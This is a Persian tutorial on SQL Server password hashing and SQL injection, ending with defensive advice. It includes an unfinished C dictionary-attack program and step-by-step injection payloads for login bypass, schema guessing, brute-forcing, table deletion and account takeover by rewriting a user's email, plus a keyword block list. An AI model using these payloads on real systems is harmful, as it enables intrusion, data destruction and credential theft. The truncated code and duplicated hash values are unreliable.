تا به حال می دانستیم که تغییرات به موقع در hash تغییراتی را ایجاد خواهد کرد. باید چیزی در مورد زمان وجود داشته باشد که Hash های پسورد را متفاوت می سازد و این اطلاعات باید آماده و در دسترس باشند. لذا هنگامی که کسی سعی می کند به سیستم وارد شود یا به قولا login شود، یک عملیات برای سنجش انجام شده و مقارن hash بدست آمده از پسوردی است که آنان تدارک دیده و hash در پایگاه داده ذخیره شده است، می باشد!!! در تفکیک نتیجه pwdencrypt() ، این تکه اطلاعات از بخش بالای ۸۴۴۴۹۳۰۵ می باشد. این شماره به روش زیر استنتاج شده است. زمان تابع C() نامیده می شود و برای رد تابع srand() بکار می رود. Srand() یک نشان از شروع را تنظیم می کند که برای تولید یک سری از شماره هـــــای تصادفی (pseudo) بکار می رود. یکبار تابع rand() را srand می کارد که معروف به ساختن یک شماره تصادفی pseudo است. این شماره یک عدد صحیح است؛ هر چند سرور SQL این را کوتاه و مختصر می کند و بطور جداگانه می نشاند.

بیایید این شماره را SN1 بنامیم . تابع rand() دوباره تولید مقدار صحیح تصادفی می کند که pseudo نامیده می شود. بیایید این شماره را SN2 بنامیم. SN1 و SN2 متحد شده اند تا یک عدد صحیح را تولید کنند. SN1 مهمترین بخش می شود و SN2 در اهمیت بعد از SN1 می آید. SN1 : SN2 : برای ساختن یک سالت بکار می رود که بعدا برای نامفهوم کردن پسورد بکار می رود.

هش کردن پسورد

رمزعبور یا همان Password یک کاربر به Unicode آن تبدیل می شود البته اگر تا به حال اینگونه نبوده است. سپس سالت به آخر آن افزوده می شود، و در advapi32.dll برای تولید یک hash با استفاده از الگوریتم hash ایمن یا همان SHA به تابع رمزی و

encrypt پاس می شود. پسورد در این حال به فرم Upper Case یا همان حـــــــــــروف بزرگ تبدیل می شود. بعد سالت بـه آخـر آن ضمیمه می شود و یک هش SHA جدید ساخته می شود.

سر ستون ثابت	0x0100
	84449305
حالت هش SHA نفوذپذیر	43174C59CC918D34B6A12C9CC9EF99C4769F819B
هش SHA حروف بزرگ	43174C59CC918D34B6A12C9CC9EF99C4769F819B

فرایند تصدیق

هنگامی که یک کاربر سعی می کند به سرور SQL اعتبار دهد چندین چیز برای انجام این امر، اتفاق می افتد: ابتدا سرور SQL پسـورد ورودی برای این کاربر را در پایگاه داده آزمایش می کند و سالت 84449305 را در مثال استخراج می کند. این مقدار بـه پسـوردی کـه کاربر هنگام تلاش برای ورود به سیستم وارد می کند، اضافه می گردد و یک هش SHA تولید می شـود. ایـن هـش بـا هـش موجـود در پایگاه داده مقایسه می شود و اگر آنها مطابقت کند کاربر تصدیق می شود – و البته اگر مقایسه رد شود تلاش بـرای ورود بـه سیسـتم رد می گردد.

رسیدگی پسورد سرور SQL و ابزاری ساده برای انجام Dictionary Attack

این کار در همان روشی که سرور SQL سعی می کند کاربران را تصدیق کند انجام مـی پـذیرد. بهتـرین کـار، سـوء اسـتفاده از هش تولید شده از ورشن حروف بزرگ می باشد.

برنامه زیر، یک dictionary attack علیه hash حروف بزرگ برای یک پسـورد تشـکیل خواهـد داد. بـا VC++ کامپایـل کنیـد و بـا advapi.dll پیوند دهید؛ البته قبلا مطمئن شوید که SDK Platform نصب شده است.

```
#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>

FILE *fd=NULL;
char *lerr = "\nlenght Error!\n";

int wd=0;
int OpenPasswordFile(char *pwdfile);
int  CrackPassword(char *hash);

int main(int argc, char *argv[])
{
        int err = 0;
```

بخش ۸: انجام حملات بر پایه حدس (با تشکر از دوست عزیزم Steve Example)

از نگاهی می توان SQL Injection را به زیر مجموعه ای از آسیب پذیری هایی که توسط ورودی های بررسی نشده ی کاربر ایجاد می شود، تعبیر کرد (buffer overflow ها، زیر مجموعه ای جدا و متفاوت می باشند). اگر application از روی سادگی رشته های SQL را ایجاد و بعد آنها را اجرا کند، می توان عملیات Injection را به نوعی روی آن Application انجام داد. این قسمت از مقاله علت اساسی کشف را به مانند فرآیند اکسپلویت نشان داده و بررسی می کند.

چند وقت پیش شرکتی درخواستی برای چک کردن شبکه ی آنها از نظر ضریب امنیتی شبکه و راه های نفوذ به آن، داشت. مطالب بخش ۸ از این مقاله تماما روی این شبکه ی اینترانت چک شده اند.

اینترانت (Intranet) مورد نظر

به نظر می آمد که یک Application ساختگی باشد و ما نه هیچ گونه اطلاعات قبلی از آن نداشتیم و نه source code آن در دسترس بود. در حقیقت این حمله یک حمله کورکورانه و چشم بسته بود. مقداری کنکاش (!!)، نشان داد که سرور در حال اجرای Microsoft IIS 6.00 همراه با ASP.Net می باشد و همین مورد اشاره می کند که بانک اطلاعاتی SQL Server مربوط به Microsoft بود: ما معتقدیم که این تکنیک ها می توانند تقریبـــا روی هر Web Application که دارای پشتوانه ی SQL Server می باشد (!!)، اجرا شوند.

صفحه لاگـــین دارای یک فـــــرم سنتی و قدیمی Username-Password بود، امـــا یـــک لـــــــــینک با عـــــــــنوان E-Mail Me My Password نیز وجود داشت. هنگامی که یک آدرس E-Mail را وارد می کردیم، سیستم احتمالا در بانک اطلاعاتی مربوط به کاربران برای آن پست الکترونیک وارد شده جستجو می کرد و در صورت وجود برای آن ایمیل چیزهایی Mail می کرد. به دلیل اینکه آدرس ایمیل من درون DB یافت نشد، هیچ چیز به ایمیل من فرستاده نشد. بنابراین اولین آزمایش در هر فرم SQL-ISH، وارد کردن یک Quote تنها (Single Quote) به عنوان قسمتی از اطلاعـــات می باشد: مقصود این است که ببینیم آیا آنها یک رشته SQL بدون قرار دادن با معیار و اصول آن ایجاد می کنند یا خیر. هنگام submit کردن فرم با یک quote در آدرس ایمیل، 500 Error (server failure) را دریافت کردیم و این اشاره داشت که ورودی شکسته شده (broken)، در حقیقت جز به جز (literally) تجزیه و parsing می شد. ما حدس زدیم که کد SQL چیزی شبیه به زیر باشد:

```
SELECT fieldlist
  FROM table
 WHERE field = '$EMAIL';
```

د اینجا، $EMAIL، آدرسی است که توسط کاربر در فرم، Submit می شود و گزارش بزرگتر علامت های نقل قول را ارائه می دهد که آنرا به عنوان یک رشته لفظی، set کرده و خارج می کند. ما هیچ نام خاصی از فیلدها یا جداول درگیر شده در این مـــورد نمی دانیم، اما طبیعت و ماهیت (nature) آنها را به راحتی درک کرده ایم و با تکیه بر آنها، بعدا حدس های خوبی خواهیم زد. هنگامی که ما ’sarve_paidar@yahoo.com را وارد می کنیم – به علامت نقل قول در آخر توجه کنید – SQL ساخته شده ی زیر را ثمر خواهد داد:

```
SELECT fieldlist
  FROM table
 WHERE field = 'sarve_paidar@yahoo.com';
```

هنگامی که این رشته اجرا می شود، تجزیه کننده ی SQL یا همان SQL Parser، علامت نقل قول اضافی را پیدا کرده و در نهایت آن را با نمایش یک خطای ساختاری (syntax error) خاتمه می دهد. چگونگی آشکار شدن این مورد برای کاربر، بستگی به خطاهای درونی application و نیز رویه هایی که کار ترمیم را انجام می دهند (recovery-procedure)، خواهد داشت، اما معمولا آدرس ایمیل ناشناخته می باشد. در صورتی که خطایی در جواب این رشته و در حقیقت برای واکنش به این رشته ی ورودی توسط کاربر، بازگشت داده شود، در حقیقت می توان استنباط کرد که ورودی های کاربر به درستی و به طور کامل همراه با معیارها و اصول ها، مطابقت داده نمی شوند و آن application برای انجام عملیات اکسپلویت مناسب به نظر خواهد آمد.

به نظر می آید که اطلاعاتی که ما در فرم پر می کنیم در یک جمله WHERE می باشند، حال بیائید ماهیت این جمله را عوض کرده و آنرا به یک جمله قانونـــــــــی در SQL تبـــــــــــــــدیل کنیم و در نهایت نتیجه را مشاهده کنیم. با وارد کردن anything’ OR ‘x’=’x’، SQL به صورت زیر استنتاج می شود:

```
SELECT fieldlist
  FROM table
 WHERE field = 'anything' OR 'x'='x';
```

به دلیل اینکه application به راستی درباره query فکر نمی کند (!!) – تنها یک رشته را ایجاد می کند – استفاده ی ما را از علامات نقل قول یک جمله ی یک جزئی WHERE را به یک جمله دو جزئی تبدیل کرد و نیز جمله ‘x’=’x’ نیز تضمین می کند که این گزارش درست باشد. مهم نیست که جمله اول چیست (شیوه ای بهتر برای اینکه همیشه این مورد را درست و true نگه داریم، وجود دارد که در ادامه بحث شده است).

اما بر خلاف گزارش واقعی، که هر بار فقط باید یک item را بازگشت دهد، این نسخه در اصل هر item که در بانک اطلاعاتی اعضا (member) ها وجود داشته باشد، بازگشت می دهد. تنها راه برای درک اینکه کدام application بر اساس این توضیحات رفتار می کند، آزمایش و تست کردن آن است. با انجام این کار، ما با عنوان زیر خوش آمد گویی می شویم:

Your login information has been mailed to *random.person@example.com*.

بهترین حدس این است که این اولین رکورد برگشت داده شده توسط query می باشد، پس به این صورت یک راه تصادفی پیدا شد. ما اکنون این شناخت را داریم که قادر هستیم، گزارش های خود را برای دست یابی به اهداف خود، دستکاری کنیم. اگرچه هنوز راجع به چیزهایی که نمی بینیم، اطلاعاتی زیادی نخواهیم داشت. اما سه واکنش متفاوت را برای ورودی های گوناگون وارد شده، مشاهده کردیم:

- اطلاعات لاگین شما به email، میل شد.
- ما آدرس ایمیل شما را تشخیص نمی دهیم.
- خطای سرور

دو عکس العمل اول، در جواب یک رشته که با ساختاری صحیح وارد شده اند، می باشد. در حالی که آخرین واکنش، برای رشته ای است که ساختاری اشتباه دارد. این تشخیص، هنگامی که می خواهیم ساختار گزارش را حدس بزنیم، بسیار مفید خواهد بود.

الگوی نقشه برداری از فیلد

گام های اولیه، حدس زدن نام بعضی از فیلدها می باشد: ما مطمئنیم که گزارش شامل "Email Address" و "Password" می باشد. شاید هم چیزهایی مثل "US Mail Address" یا "userid" یا "phone number" و ... نیز وجود داشته باشند. مسلما مشتاقیم که یک SHOW TABLE انجام دهیم، اما بعلاوه نام جدول را نیز ندانیم. هیچ وسیله معلومی برای به دست آوردن خروجی این دستور مسیر داده شده به ما وجود ندارد.

پس، کار را در چندین گام انجام خواهیم داد. در هر مورد، ما کل گزارش را همان طور که می دانیم نشان می دهیم. در این مورد ما می دانیم که پایان (ته) گزارش با یک مقایسه با آدرس ایمیل خاتمه می یابد، پس بیائید **email** را به عنوان نام فیلد حدس بزنیم و نتیجه را مشاهده کنیم:

```
SELECT fieldlist
  FROM table
 WHERE field = 'x' AND email IS NULL; --';
```

در اینجا در واقع نیت کار، استفاده از یک نامِ فیلدِ پیشنهادی (email)، در گزارشِ ساخته شده، می باشد و در نهایت، فهم اینکه آیا SQL معتبر (valid) می باشد یا خیر. ما هیچ گونه توجهی به مطابقت داشتن آدرس ایمیل نخواهیم داشت (این جاست که دلیل استفاده از 'x' مصنوعی روشن می شود). همچنین به همین منوال هیچ توجهی به علامت های -- که نشان دهنده شروع توضیح (comment) در SQL می باشند، نخواهیم داشت. این یک راه موثر برای مصرف کردن (consume) آخرین علامت نقل قول (') ارائه شده توسط application می باشد. بدین صورت هیچ گونه نگرانی درباره مطابقت داشتن و در واقع match بودن آنها در میان نخواهد بود.

اگر ما یک خطای سرور (Server Error) دریافت کنیم، به این معنی است که گزارش SQL ما، ناقص و در واقع دارای ساختاری غیرصحیح می باشد و در جواب یک خطای ساختاری (Syntax Error) دریافت خواهیم کرد. اغلب این موارد به احتمال زیاد از نام های غیرصحیح برای فیلدها می باشد. اگر ما هرگونه جواب معتبری دریافت کنیم، در حقیقت نام فیلد را به درستی حدس زده ایم. اینجاست که ما چه "email unknown" را دریافت کنیم و چه "password was sent" فرقی نخواهد کرد.

اما، به خاطر داشته باشید، ما از اتصال AND به جای OR استفاده می کنیم و این کار عمدی و از روی عمد انجام می گیرد. در وجه الگوی نقشه برداری در SQL (schema mapping phase)، مسلما علاقمند حدس زدن آدرس ایمیل مشخصی نداریم، همچنین نمی خواهیم که ایمیل هایی از application به یک سری از کاربران به صورت تصادفی (Random Users) میل شده و عنوان آن به صورت Here is your forgotten password یا هر چیزی بمانند آن. چرا که این کار باعث ایجاد بدگمانی نسبت به ما خواهد شد. با استفاده از ترکیب و در واقع پیوندِ AND با یک آدرس ایمیل که هرگز نمی تواند معتبر باشد، ما مطمئن خواهیم بود که گزارش همیشه ردیف های صفر را برگشت می دهد.

با submit کردن اطلاعات بر طبق موارد فوق، ما جوابی تحت عنوان "Email Address Unknown" دریافت می کنیم. بنابراین اکنون می دانیم که آدرس های ایمیل در یک فیلد مانند **email** نگه داری می شوند. اگر این مورد کار نکرد، مجبوریم **email_address** یا **mail** یا هر چیزی شبیه به آن که ممکن است حاوی آدرس های ایمیل باشد را امتحان کنیم. در مرحله بعد، ما بعضی از اسامی معلوم دیگری را مانند password, user ID, name و بمانند آنها را حدس می زنیم. تمامی این حدس ها در یک انجام داده می شوند. اکنون اگر در جواب هر چیزی غیر از "Server Failure" دریافت کنیم، در حقیقت حدس ما درست بوده است.

```
SELECT fieldlist
  FROM table
 WHERE email = 'x' AND userid IS NULL; --';
```

به عنوان نتیجه این عمل، ما چندین فیلد درست، به دست آوردیم:

```
email
passwd
login_id
full_name
```

مطمئنا فیلدهای بیشتری وجود دارند – در ادامه به آنها دسترسی پیدا می کنیم – اما اکنون با تلاش هایی که به همین صورت انجام دادیم، چیز دیگری را پیدا نکردیم. اما هنوز نمی دانیم که نام جدولی (table) که این فیلدها درون آن می باشد، چیست. چطور نام جدول را پیدا کنیم؟

پیدا کردن نام جدول

گزارش درون ساخت (built-in) application در حال حاضر نام جدول را درون خود دارد، اما نمی دانیم که آن نام چیست:
چندین روش برای پیدا کردن نام آن جدول (و دیگر جدول ها) وجود دارد. یکی از آنها استفاده از subselect می باشد:
گزارش مستقل زیر تعداد رکوردهای موجود در آن جدول را می رساند (در صورتی که نام جدول ناشناخته باشد، کار نخواهد کرد و در نتیجه Fail خواهد شد):

```
SELECT COUNT(*) FROM tabname
```

ما می توانیم این مورد را در گزارش خود قرار دهیم تا به دنبال نام جدول بگردیم:

```
SELECT email, passwd, login_id, full_name
  FROM table
 WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';
```

ما توجهی تعداد رکوردها نخواهیم داشت. بلکه تنها می خواهیم ببینیم آیا نام جدول معتبر و valid می باشد یا خیر. با تکرار کردن چندین حدس، سرانجام تشخیص دادیم که members یک جدول معتبر در DB بود. اما آیا این members همان جدولی است که در این گزارش استفاده شده است؟ بنابراین، هنوز احتیاج به آزمایش دیگری با استفاده از نشانه table.field داریم: این نشانه تنها برای جدول هایی کار می کند که در حقیقت جزئی از این گزارش باشند و نه فقط اینکه آن جدول موجودیت داشته باشد یا به اصطلاح Exist باشد.

```
SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x' AND members.email IS NULL; --';
```

هنگامی که ما "Email Unknown" را دریافت می کنیم، در حقیقت این پیام تایید و تصدیقی برای کار ما خواهد بود و به این معنی است که گزارش SQL ما به صورت درست و صحیحی ترکیب و قالب دهی شده است (و دارای خطای ساختاری نیست) و به علاوه به این معنی است که ما نام جدول را به درستی حدس زده ایم. این مورد در آینده خیلی مفید خواهد بود، اما در عوض روش موقتی و متفاوتی را اختیار کردیم!

پیدا کردن چند کاربر

در این مسیر، ما تصوری جزئی از ساختار جدول members را در ذهن داریم، اما فقط از یک username آگاه هستیم: عضو تصادفی (Random Member) که اولین ایمیل ما تحت عنوان "Here is your password" را گــرفت. یادآور می شود که ما به هیچ خود نامه را دریافت نکردیم، فقط آدرسی که این ایمیل به آن فرستاده شد را به دست آوردیم. اما به هر حال می خواهیم دستیابی بیشتری به application داشته باشیم. پس به دنبال کاربرانی می گردیم که دسترسی بیشتری به اطلاعات داشته باشند و در واقع High Privilege باشند.

اولین گام برای شروع، مسلما می تواند website خود آن شرکت باشند. برای مثال با مراجعه به website و کمی جستجو معمولا به لینک ها یا button های تحت عنوان About Us یا Contact یا همچنین چیزهایی برخورد خواهیم کرد. این صفحات و لینک ها معمولا لیست کسانی که در شرکت فعالیت می کنند را به ما خواهد داد. بسیاری از آنها دارای آدرس ایمیل نیز خواهند بود. اما حتی آنهایی که افراد را لیست نمی کنند، می توانند چندین سر نخ به ما برای پیدا کردن افراد بدهند!!

فرض کنیم یک query که از clause و جمله ی LIKE استفاده می کند را Submit کنیم. این کار به ما اجازه خواهد داد که مطابقت هایی جزئی را در رابطه با نام ها و آدرس های ایمیل در DB داشته باشیم. هر دفعه یک پیام "We Sent Your Password" را ایجاد (trigger) و بعد ایمیل می کنیم.

توجه: اگرچه این کار باعث فاش شدن یک آدرس ایمیل که ما هر دفعه آنرا اجرا می کنیم، می شود، اما در واقع آن ایمیل را خواهد فرستاد و همین مورد دلیل بر بدگمانی نسبت به ما خواهد شد و در نهایت دلالت می کند که ما این کار را خیلی سر سری و راحت پنداشتیم (:D) !!

ما می توانیم query را روی email name یا full name (یا احتمالا دیگر اطلاعات)اجرا کنیم. اما این کار باید هر دفعه با وارد کردن wildcard های % انجام شود، چرا که به این طریق LIKE پشتیبانی خواهد شد:

```
SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x' OR full_name LIKE '%Bob%';
```

به خاطر داشته باشید حتی اگر بیشتر از یک 'Saeed' وجود داشته باشد، ما فقط یکی از آنها را خواهیم دید: این رخداد اشاره می کند که باید جمله ی LIKE ما، به دقت بازدید و تصحیح شود. و باید گفت که:

Ultimately, we may only need one valid email address to leverage our way in ;)!!

حدس پسوردهای Brute-Force

در عوض ما آزمایش و Test کردن پسوردها را به وسیله Include کردن Email Name و Email Password به صورت مستقیم، به صورت واقعی انجام می دهیم. در این مثال، ما از قربانی خود استفاده کرده و پسوردهای گوناگونی را آزمایش امتحان می کنیم:

```
SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'bob@example.com' AND passwd = 'hello123';
```

این گزارش همان طور که آشکارا پیداست، یک SQL و گزارش، با فرم و قالبی صحیح می باشد، پس ما هیچ انتظار نخواهیم داشت که پیام خطایی از سرور (Server Error) دریافت کنیم. همچنین ما می دانیم، هنگامی پسورد را دریافت کرده ایم که پیام "Your Password Has Been Mailed To You" یا چیزی شبیه به آن دریافت کنیم. این روال می تواند با اسکریپت نویسی در Perl به صورت اتوماتیک در آید، و اگرچه راه ما به سمت تهیه و ساخت اسکریپت نیز کج خواهد شد، اما دیگر نیاز به آزمایش واقعی آن پسوردها نخواهد بود.

بانک اطلاعاتی در حالت فقط خواندنی یا Read-Only قرار دارد

تا کنون، ما غیر از گرفتن گزارش از DB کار چندانی انجام نداده ایم، و حتی اگر یک SELECT، فقط خواندنی باشد، به این معنی نخواهد بود که SQL است. SQL از Semicolon (;) برای پایان جمله استفاده می کند و اگر ورودی به درستی بررسی نشده باشد، دیگر شاید چیزی جلودار ما از قراردادن دستورهای نامربوط (و دلخواه) در انتهای گزارش نباشد. موثرترین و قوی ترین نمونه مورد زیر است:

```
SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x'; DROP TABLE members; --';
```

اولین قسمت یک آدرس E-Mail به صورت مصنوعی ارائه می دهد ('x') و ما توجهی به ورودی این گزارش نخواهیم داشت: ما فقط می خواهیم آنرا از سر راه برداریم، بنابراین می توانیم یک دستور SQL بی ربط (و دلخواه) را مطرح کنیم. این مثال، کل جدول members را پاک کرده یا به اصطلاح Drop می کند (Delete). با این مثال فهمیدیم که نه تنها می توانیم دستورهای SQL جداگانه ای را اجرا کنیم، بلکه همچنین می توانیم DB را نیز تغییر دهیم و Modify کنیم. خوب به هر حال امیدبخش است!!

اضافه کردن یک کاربر جدید (Add)

مفروض بر اینکه، ما ساختاری جزئی از جدول members را بدانیم، به نظر خواهد آمد که اضافه کردن یک رکورد جدید به آن جدول، نظری باور پذیر و قابل قبول باشد: اگر این کار عملی شود، ما به سادگی می توانیم به وسیله اعتبار جدیدی که به دست آوردیم به سیستم به صورت مستقیم Login شویم.

این کار، مقداری SQL را طولانی تر خواهد کرد و در اینجا، آنرا به چندین خط (برای راحت کردن فهم این موضوع)، تقسیم کرده ایم، اما در حالت عملی (و خارج از این مقاله) رشته های ما به هم اتصال دارند:

```
SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x';
    INSERT INTO members ('email','passwd','login_id','full_name')
    VALUES ('sarve_paidar@yahoo.com','hello','steve','Steve Friedl');--';
```

- حتی اگر ما به درستی نام فیلدها و جدول ها را به دست آورده باشیم، چندین چیز در انجام یک حمله موفق، دخالت خواهند داشت:
- شاید در فرمی که در صفحه ی Web وجود دارد، ما فضا کافی برای وارد کردن مستقیم این متن نسبتا بلند نداشته باشیم (اگرچه می تواند در حول اسکریپت نویسی کار کرد داشته باشد).

- Web Application کاربر شاید، permission و اجازه را روی جدول members نداشته باشد.
- بدون شک فیلدهای دیگری در جدول members نیز وجود دارند و بعضی از آنها شاید مقادیر نخستین را احتیاج داشته باشند (یعنی Initial Value ها را مورد نیاز داشته باشند). این مورد سبب شکست خوردن INSERT در انجام کارش می شود.
- حتی اگر ما کار را تا ایجاد کردن یک رکورد جدید پیش ببریم (New Record)، خودِ application شاید توانایی مناسبی، در رابطه با فیلدهای insert شده به صورت اتوماتیک و NULL (Auto-Inserted NULL Fields)را که ما هیچ گونه مقداری برای آنها قرار نداده ایم، نداشته باشد.
- یک عضو قانونی، شاید نه تنها احتیاج به یک رکورد در جدول member ها باشد، بلکه شاید به دیگر اطلاعات مرتبط در دیگر جدول ها (accessrights) نیز احتیاج داشته باشد. بنابراین، اضافه کردن یک رکورد به یک جدول شاید کافی نباشد.

حال که جریان کار را فهمیدیم، می خواهیم کمر برای انسداد موارد ۴ و ۵ بر بندیم (!!) – به راستی و در حقیقت مطمئن نیستیم – چرا که هنگامی که به صفحه اصلی برای لاگین رفتم و user name و password را وارد کردم، یک Server Error برگشت داده شد. این رخداد اشاره دارد بر آن فیلدها. اما با این حال، آنها کاملا handle نمی شدند.

یک روش ممکن در اینجا، حدس زدن دیگر فیلدها می باشد که کاری بس دشوار و طولانی خواهد بود: اگرچه شاید قادر باشیم دیگر فیلدهای واضح (که معمولا نام های پیش فرضی برای آنها همگان در نظر می گیرند) را حدس بزنیم، اما خیلی ســـــــخت می توان تشکیلات بزرگتری از application را در نظر مجسم کرد و به آنها نائل شد (:D) !!!

Mail کردن یک پسورد

هنگامی که تشخیص دادیم بر اساس توضیحات بالا قادر به ساختن یک رکورد جدید در بانک اطلاعاتی members نیستیم یا در صورت ساخت مشکلات فوق را داشتیم، به ناچار مجبوریم که یکی از اکانت های کاربری موجود را تغییر بدهیم. در یک مرحله قبل، ما فهمیدیم که آقای Bob یک ایمیل دارند و آن به صورت bob@example.com می باشد و اتفاقا این کاربر درون سیستم و application مورد نظر ما نیز یک اکانت دارد و در نتیجه عضو سیستم هدف ما است پس، ما از SQL Injection برای update کردنِ رکورد او در DB استفاده می کنیم و (مثلا) برای update کردنِ رکورد او می توانیم آدرس ایمیل او را با خودمان عوض کنیم:

```
SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x';
     UPDATE members
     SET email = 'sarve_paidar@yahoo.com'
     WHERE email = 'bob@example.com';
```

البته، بعد از اجرای گزارش فوق، ما پیام "We Didn't Know Your Email Address" را دریافت کردیم، اما پیش بینی می شد که ناشی از آدرس ایمیل ساختگی باشد. UPDATE نمی توانست با application به صورت صحیح، register شود، بنابراین به آرامی و بیصدا (!!)، اجرا شد. بعد از اینکار لینک "I Lost My Password" را کلیک کرده – با ایمیل update شده توسط ما (که در نهایت ایمیل خودمان است – و یک دقیقه بعد این ایمیل را دریافت کردم:

```
From: system@example.com
To: sarve_paidar@yahoo.com
Subject: Intranet login
```

This email is in response to your request for your Intranet log in information.
Your User ID is: bob
Your password is: hello

اکنون تنها کار ما لاگین کردن مستقیم به سیستم به عنوان یک کاربر سطح بالا بود و در نهایت این کاربر ارشدتر از کاربری است که (احتمالا یک کاربر سطح پائین ایجاد می شد)، ما به وسیله روش INSERT ایجاد کردیم. به هر حال در داخل سایت اینترانت (در بین دیگر چیزها)، یک لیست از تمامی کاربران وجود داشت. بهترین شرط در این مورد آن است که بگویم بسیاری از سایت های اینترانت ها همچنین اکانت هایی در شبکه های شرکتی که بر اساس ویندوز است دارند و شاید بعضی از آنها یک پسورد را در چندین جا مانند هم به کار برده باشند. از زمانی که برای همگان شفاف شده که ما راه ساده ای برای استخراج هر پسورد اینترانتی داریم، و از زمانی که ما یک پورت PPTP VPN را روی دیوارآتش شرکت قرار داده ایم، خیلی راحت می توان این نوع حملات را انجام داد!!

بخش ۹: توصیه ها و روش های مقابله در برابر حملات SQL Injection

روش هایی کلی برای مقابله

- همواره رمزعبور را برای یوزری با نام sa را از حالت default تغییر داده و به کلمه ای کـه حـدث زدن آن مشـکل باشـد تغییـر دهید (که اصول کلی برای این کار رو هم حتما بلدید و از آن تبعیت می کنید).
- تمامی رویه ها و procedure های ذخیره شده به صورت پیش فرض را پاک کنید.
- تمامی کاراکترهای '،"،--،: و ... را فیلتر کنید.
- به روزبودن و update بودن را همراه با patch ها مد نظر قرار دهید.
- تمامی پورت های 1433/1434 (MS SQL) و 1521 (Oracle) را با استفاده از firewall بلاک کنید.

جزئیاتی بیشتر پیرامون مقابله با SQL Injection

اعتبار سازی ورودی ها:

اعتبار سازی ورودی می توند یک موضوع پیچیده باشد. به طور عادی، در یک پروژه پیشـرفته توجـه کمتـری بـه آن داده شـده است. البته از زمانی که اعتبارسازی overenthusiastic از قسمت هایی از یک application که علت حمله می باشد و مشکـــلات اعتبار سازی داده ها که ممکن است بسیار سخت حل شوند، نگهداری می کند. در زیـر مختصـری دربـاره موضـوع اعتبارسـازی بـا یـک نمونـه، مقداری بحث می کنیم. این کد نمونه و مثال (مطمئنا) برای استفاده مستقیم و بدون تغییر در application قرار داده نشده است، چرا که تنها تفاوت استراتژی ها را به خوبی توضیح می دهد.

روش های گوناگون اعتبارسازی می توانند به صورت های زیر دسته بندی شوند:

۱)-تلاش برای پردازش داده و اطلاعات و تغییر آن، به طوریکه آنها valid شوند.
۲)-رد کردن و نپذیرفتن ورودی هایی که به عنوان ورودیهای مضر شناخته شده هستند.
۳)-پذیرفتن ورودی هایی که تنها با عنوان ورودی های غیرمضر برای ما شناخته شده اند.

راه حل ۱-چندین مشکل مفهومی دارد. اول اینکه، developer لزوما درباره اینکه چـه چیزهـایی مـی تواننـد اطلاعـات مضـر را تشکیل دهند، آگاه نیست، چرا که فرم ها و حالت های مختلفـی از اطلاعـات مضـر همـه روزه در حـال کشـف شـدن هسـتند. دوم اینکـه، messaging کردن اطلاعات ممکن است طول (length) آنرا تغییر دهد، که در نهایـت بـا مسـائلی کـه در قبـل دربـاره طـول ورودی هـا مفصلا توضیح داده شد، روبرو خواهیم شد. در آخر اینکه تاثیراتی (second-order) وجود دارد کـه ممکـن اسـت اطلاعـات را منجـر بـه دوباره استفاده کردن در سیستم بکنند.

راه حل ۲ – نیز بعضی مشکلاتی که در مورد ۱ وجود داشت، را دچار خواهد شد چرا که ورودی های شناخته شده ی مضر، همـه روزه در حال تغییر هستند و در نهایت یک حمله تکنیک حمله ی جدید توسعه و رشد خواهد یافت.

راه حل ۳- به طور نسبی بهترین مورد در بین این سه راه حل می باشد. اما انجام و ایفای آن سخت تر است.

به احتمال زیاد، بهتر راه نزدیک شدن به یک نقطه ی امن، به ظاهر مخلوط و متحد کردن دو راه ۲ و ۳ می باشد که در نهایت ورودی های بدون مشکل را اجازه می دهند و سپس آن ورودی را برای اینکه مضر باشد چک می کنند!! یک مثال از ضرورت ترکیب این دو راه می تواند نام های نوشته شده با فضای خالی (hyphenated) باشد:

Quentin Bassington-Bassington

ما باید hyphen ها را در ورودی هایمان به عنوان یک ورودی خوب و بدون مشکل بشناسیم، اما همچنین می دانیم که توالی کاراکتر یعنی – برای SQL Server معنا و مفهوم خاصی خواهد داشت. مشکل دیگر زمانی اتفاق می افتد که messaging اطلاعات را با معتبرسازی توالی کاراکترها، مخلوط و combine می کنیم. برای مثال، اگر ما یک یک فیلتری را قرار دهیم که '--' یا 'select' یا 'union; را به عنوان موردی مشکل دار طبق قلم داد کند، آنوقت فیلتر messaging آن single-quote ها را حذف خواهد کرد، نفوذگر می توانست ورودی مانند زیر وارد کند:

uni'on sel'ect @@version-'-

زمانی که single-quote پاک شد و بعد از اینکه فیلتر شناسایی کاراکترهای خوب اعمال شد، نفوذگر می تواند به سادگی single quote ها را در رشته ها و strings های مضر شناخته خود پراکنده کند و در ردیابی و کشف این مورد بگریزد.

در زیر بعضی از کدهای معتبرسازی را می بینید.

روش ۱ – Escape و جا انداختن Single Quote ها:

```
function escape( input )
input = replace(input, "'", "''")
escape = input
end function
```

روش ۲: رد کردن ورودی های شناخته شده ی مضر:

```
function validate_string( input )
known_bad = array( "select", "insert", "update", "delete", "drop", "--", "'" )
validate_string = true
for i = lbound( known_bad ) to ubound( known_bad )
if ( instr( 1, input, known_bad(i), vbtextcompare ) <> 0 ) then
validate_string = false
exit function
end if
next
end function
```

روش ۳: تنها اجازه به ورودی های بدون ضرر بدهیم:

```
function validatepassword( input )
good_password_chars =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
```

```
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then validatepassword = false
exit function
end if
next
end function
```

Lockdown در SQL Server:

مهم ترین نکته این است که، حتما باید SQL Server را lock down کنیم. در زیر لیستی از مواردی که در هنـــــگام ساختن یک SQL Server Build هستید، باید انجام دهید:

۱. روش های ارتباطی به سرور را تعیین کنید.

الف)-بازبینی کنید که فقط کتابخانه های شبکه ای یا Network Library هایی که شـما اسـتفاده مـی کنیـد، فعـال و Enabled باشند، برای این منظور می توانید از Network Utility کمک بگیرید.

۲. بازبینی اینکه کدام اکانت ها وجود دارند یا به اصطلاح Exist هستند.

الف)-اکانت های Low Priviledge را برای استفاده Application ها ایجاد کنید.

ب)-اکانت های غیرضروری و غیرلازم را پاک کنید.

